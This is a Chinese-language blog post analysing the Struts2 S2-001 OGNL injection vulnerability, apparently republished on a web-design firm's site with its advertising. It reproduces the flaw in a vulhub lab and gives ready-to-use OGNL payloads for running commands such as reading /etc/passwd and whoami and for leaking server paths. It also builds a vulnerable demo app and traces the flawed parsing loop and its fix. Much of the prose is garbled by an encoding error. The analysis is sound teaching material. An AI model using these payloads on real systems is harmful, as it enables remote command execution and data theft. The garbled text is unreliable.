這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)struts2漏洞 S2-001實(shí)例分析,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
創(chuàng)新互聯(lián)建站是專業(yè)的新興網(wǎng)站建設(shè)公司,新興接單;提供成都做網(wǎng)站、成都網(wǎng)站設(shè)計(jì),網(wǎng)頁(yè)設(shè)計(jì),網(wǎng)站設(shè)計(jì),建網(wǎng)站,PHP網(wǎng)站建設(shè)等專業(yè)做網(wǎng)站服務(wù);采用PHP框架,可快速的進(jìn)行新興網(wǎng)站開(kāi)發(fā)網(wǎng)頁(yè)制作和功能擴(kuò)展;專業(yè)做搜索引擎喜愛(ài)的網(wǎng)站,專業(yè)的做網(wǎng)站團(tuán)隊(duì),希望更多企業(yè)前來(lái)合作!
struts2漏洞 S2-001是當(dāng)用戶提交表單數(shù)據(jù)且驗(yàn)證失敗時(shí),服務(wù)器使用OGNL表達(dá)式解析用戶先前提交的參數(shù)值,%{value}并重新填充相應(yīng)的表單數(shù)據(jù)。例如,在注冊(cè)或登錄頁(yè)面中。如果提交失敗,則服務(wù)器通常默認(rèn)情況下將返回先前提交的數(shù)據(jù)。由于服務(wù)器用于%{value}對(duì)提交的數(shù)據(jù)執(zhí)行OGNL表達(dá)式解析,因此服務(wù)器可以直接發(fā)送有效載荷來(lái)執(zhí)行命令。
用vulhub復(fù)現(xiàn)漏洞可以省去環(huán)境的搭建過(guò)程,相當(dāng)方便。
vulhub官網(wǎng)地址:https://vulhub.org
啟動(dòng)漏洞環(huán)境。
docker-compsoe up -d
輸入測(cè)試的payload
%{1+1}
可以看到我們的加法表達(dá)式成功執(zhí)行了。
這次我們?cè)囈辉嚸顖?zhí)行,new java.lang.String[ {"cat","/etc/passwd"} 在這里更改我們想要執(zhí)行的命令。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
成功的讀取到了passwd文件。
下面給出三條利用語(yǔ)句:
獲取tomcat路徑 |
---|
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"} |
獲取web路徑 |
---|
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()} |
命令執(zhí)行 |
---|
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
平臺(tái):win10
工具:Apache Tomcat 9.0.7,IntelliJ IDEA
下載IntelliJ IDE之后我們選擇免費(fèi)試用一個(gè)月,接下來(lái)創(chuàng)建我們的項(xiàng)目。
這個(gè)是搭建完成后的效果,下邊所有創(chuàng)建添加的jar包或者修改的文件都按照這個(gè)格式進(jìn)行。
目錄結(jié)構(gòu)如下。
需要如下幾個(gè)包,下載地址:
http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
解壓完之后,我們把lib目錄下對(duì)應(yīng)的jar包導(dǎo)入到我們?cè)陧?xiàng)目中創(chuàng)建的lib目錄中。
接著發(fā)布我們導(dǎo)入的jar包,不然會(huì)報(bào)錯(cuò)。
接下來(lái)就是我們要?jiǎng)?chuàng)建的幾個(gè)文件,這里代碼都給出來(lái)了,直接copy就行。(注意:一定要按照前邊給出的目錄結(jié)構(gòu)放置下邊的文件)
web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"><display-name>S2-001 Example</display-name><filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class></filter><filter-mapping><filter-name>struts2</filter-name><url-pattern>/*</url-pattern></filter-mapping><welcome-file-list><welcome-file>index.jsp</welcome-file></welcome-file-list> </web-app>
index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <h3>S2-001 Demo</h3> <p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p> <s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit> </s:form> </body> </html>
welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>S2-001</title> </head> <body> <p>Hello <s:property value="username"></s:property></p> </body> </html>
LoginAction.java
package com.demo.action; import com.opensymphony.xwork2.ActionSupport; public class LoginAction extends ActionSupport { private String username = null; private String password = null; public String getUsername() { return this.username; } public String getPassword() { return this.password; } public void setUsername(String username) { this.username = username; } public void setPassword(String password) { this.password = password; } public String execute() throws Exception { if ((this.username.isEmpty()) || (this.password.isEmpty())) { return "error"; } if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) { return "success"; } return "error"; } }
src目錄下新建struts.xml
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts><package name="S2-001" extends="struts-default"><action name="login" class="com.demo.action.LoginAction"><result name="success">welcome.jsp</result><result name="error">index.jsp</result></action></package> </struts>
漏洞部分代碼
xwork-2.0-beta-1.jar/com.opensymphony.xwork2/util/TextParseUtil.java
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) { Object result = expression; while(true) { int start = expression.indexOf(open + "{"); int length = expression.length(); int x = start + 2; int count = 1; while(start != -1 && x < length && count != 0) { char c = expression.charAt(x++); if (c == '{') { ++count; } else if (c == '}') { --count; } } int end = x - 1; if (start == -1 || end == -1 || count != 0) { return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); } String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); if (o != null) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + o + right; } else { result = left + right; expression = left + right; } } }
運(yùn)行我們搭建好的環(huán)境,記得開(kāi)啟debug模式
password處輸入我們的測(cè)試語(yǔ)句:%{333*666},正確結(jié)果是多少來(lái)著,待我找個(gè)計(jì)算機(jī)算一下先(手動(dòng)笑哭表情)
expression會(huì)獲取不同的參數(shù)值,我們直到其獲取到password開(kāi)始分析漏洞原因。
然后這次的判斷跳過(guò)了中間的return,為啥會(huì)跳過(guò)return呢?因?yàn)檫@里的password內(nèi)容任然是一個(gè)ognl表達(dá)式所以會(huì)再次進(jìn)入循環(huán),接著這里取出%{password}中間的值password賦給var。在解析完%{password}表達(dá)式之后要獲取其中的內(nèi)容password進(jìn)行展示,也就是我們這里的%{333*666}
然后這次的判斷同樣也會(huì)跳過(guò)中間的return,為啥會(huì)跳過(guò)return呢?因?yàn)檫@里的password內(nèi)容依然是一個(gè)ognl表達(dá)式所以會(huì)再次進(jìn)入循環(huán),接著這里取出%{333*666}中間的值333*666賦給var。
然后通過(guò)Object o = stack.findValue(var, asType)獲得到password的值為333*666,然后重新賦值給expression,進(jìn)行下一次循環(huán)。
在這一次循環(huán)的時(shí)候,就會(huì)解析333*666,并將賦值給了o,經(jīng)過(guò)計(jì)算后expression的值就變成了221788。
不是OGNL表達(dá)式時(shí)就會(huì)進(jìn)入
判斷了循環(huán)的次數(shù),從而在解析到%{333*666}的時(shí)候不會(huì)繼續(xù)向下遞歸,相當(dāng)于限制了解析ongl的次數(shù)。
也就不會(huì)對(duì)用戶提交的參數(shù)進(jìn)行ongl解析
if (loopCount > maxLoopCount) { // translateVariables prevent infinite loop / expression recursive evaluation break; }
這里搬運(yùn)大佬總結(jié)好的東西。
OGNL 是 Object-Graph Navigation Language 的縮寫(xiě),它是一種功能強(qiáng)大的表達(dá)式語(yǔ)言(Expression Language,簡(jiǎn)稱為 EL),通過(guò)它簡(jiǎn)單一致的表達(dá)式語(yǔ)法,可以存取對(duì)象的任意屬性,調(diào)用對(duì)象的方法,遍歷整個(gè)對(duì)象的結(jié)構(gòu)圖,實(shí)現(xiàn)字段類型轉(zhuǎn)化等功能。它使用相同的表達(dá)式去存取對(duì)象的屬性。 OGNL 三要素:(以下部分摘抄互聯(lián)網(wǎng)某處, 我覺(jué)得說(shuō)得好)
1、表達(dá)式(Expression)
表達(dá)式是整個(gè) OGNL 的核心,所有的 OGNL 操作都是針對(duì)表達(dá)式的解析后進(jìn)行的。表達(dá)式會(huì)規(guī)定此次 OGNL 操作到底要干什么。我們可以看到,在上面的測(cè)試中,name、department.name 等都是表達(dá)式,表示取 name 或者 department 中的 name 的值。OGNL 支持很多類型的表達(dá)式,之后我們會(huì)看到更多。
2、根對(duì)象(Root Object)
根對(duì)象可以理解為 OGNL 的操作對(duì)象。在表達(dá)式規(guī)定了 “干什么” 以后,你還需要指定到底“對(duì)誰(shuí)干”。在上面的測(cè)試代碼中,user 就是根對(duì)象。這就意味著,我們需要對(duì) user 這個(gè)對(duì)象去取 name 這個(gè)屬性的值(對(duì) user 這個(gè)對(duì)象去設(shè)置其中的 department 中的 name 屬性值)。
3、上下文環(huán)境(Context)
有了表達(dá)式和根對(duì)象,我們實(shí)際上已經(jīng)可以使用 OGNL 的基本功能。例如,根據(jù)表達(dá)式對(duì)根對(duì)象進(jìn)行取值或者設(shè)值工作。不過(guò)實(shí)際上,在 OGNL 的內(nèi)部,所有的操作都會(huì)在一個(gè)特定的環(huán)境中運(yùn)行,這個(gè)環(huán)境就是 OGNL 的上下文環(huán)境(Context)。說(shuō)得再明白一些,就是這個(gè)上下文環(huán)境(Context),將規(guī)定 OGNL 的操作 “在哪里干”。
OGN L 的上下文環(huán)境是一個(gè) Map 結(jié)構(gòu),稱之為 OgnlContext。上面我們提到的根對(duì)象(Root
Object),事實(shí)上也會(huì)被加入到上下文環(huán)境中去,并且這將作為一個(gè)特殊的變量進(jìn)行處理,具體就表現(xiàn)為針對(duì)根對(duì)象(Root
Object)的存取操作的表達(dá)式是不需要增加 #符號(hào)進(jìn)行區(qū)分的。
表達(dá)式功能操作清單: |
---|
1. 基本對(duì)象樹(shù)的訪問(wèn) 對(duì)象樹(shù)的訪問(wèn)就是通過(guò)使用點(diǎn)號(hào)將對(duì)象的引用串聯(lián)起來(lái)進(jìn)行。 例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx2. 對(duì)容器變量的訪問(wèn) 對(duì)容器變量的訪問(wèn),通過(guò)#符號(hào)加上表達(dá)式進(jìn)行。 例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx3. 使用操作符號(hào) OGNL表達(dá)式中能使用的操作符基本跟Java里的操作符一樣,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,還能使用 mod, in, not in等。4. 容器、數(shù)組、對(duì)象 OGNL支持對(duì)數(shù)組和ArrayList等容器的順序訪問(wèn):例如:group.users[0] 同時(shí),OGNL支持對(duì)Map的按鍵值查找: 例如:#session['mySessionPropKey'] 不僅如此,OGNL還支持容器的構(gòu)造的表達(dá)式: 例如:{"green", "red", "blue"}構(gòu)造一個(gè)List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}構(gòu)造一個(gè)Map 你也可以通過(guò)任意類對(duì)象的構(gòu)造函數(shù)進(jìn)行對(duì)象新建 例如:new Java.net.URL("xxxxxx/")5. 對(duì)靜態(tài)方法或變量的訪問(wèn) 要引用類的靜態(tài)方法和字段,他們的表達(dá)方式是一樣的@class@member或者@class@method(args):6. 方法調(diào)用 直接通過(guò)類似Java的方法調(diào)用方式進(jìn)行,你甚至可以傳遞參數(shù): 例如:user.getName(),group.users.size(),group.containsUser(#requestUser)7. 投影和選擇 OGNL支持類似數(shù)據(jù)庫(kù)中的投影(projection) 和選擇(selection)。 投影就是選出**中每個(gè)元素的相同屬性組成新的**,類似于關(guān)系數(shù)據(jù)庫(kù)的字段操作。投影操作語(yǔ)法為 collection.{XXX},其中XXX 是這個(gè)**中每個(gè)元素的公共屬性。 例如:group.userList.{username}將獲得某個(gè)group中的所有user的name的列表。 選擇就是過(guò)濾滿足selection 條件的**元素,類似于關(guān)系數(shù)據(jù)庫(kù)的紀(jì)錄操作。選擇操作的語(yǔ)法為:collection.{X YYY},其中X 是一個(gè)選擇操作符,后面則是選擇用的邏輯表達(dá)式。而選擇操作符有三種: ? 選擇滿足條件的所有元素 ^ 選擇滿足條件的第一個(gè)元素 $ 選擇滿足條件的最后一個(gè)元素 例如:group.userList.{? #txxx.xxx != null}將獲得某個(gè)group中user的name不為空的user的列表。 |
上述就是小編為大家分享的struts2漏洞 S2-001實(shí)例分析了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
網(wǎng)站標(biāo)題:struts2漏洞S2-001實(shí)例分析
當(dāng)前URL:http://jinyejixie.com/article38/jopjpp.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站建設(shè)、App設(shè)計(jì)、關(guān)鍵詞優(yōu)化、軟件開(kāi)發(fā)、虛擬主機(jī)、
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)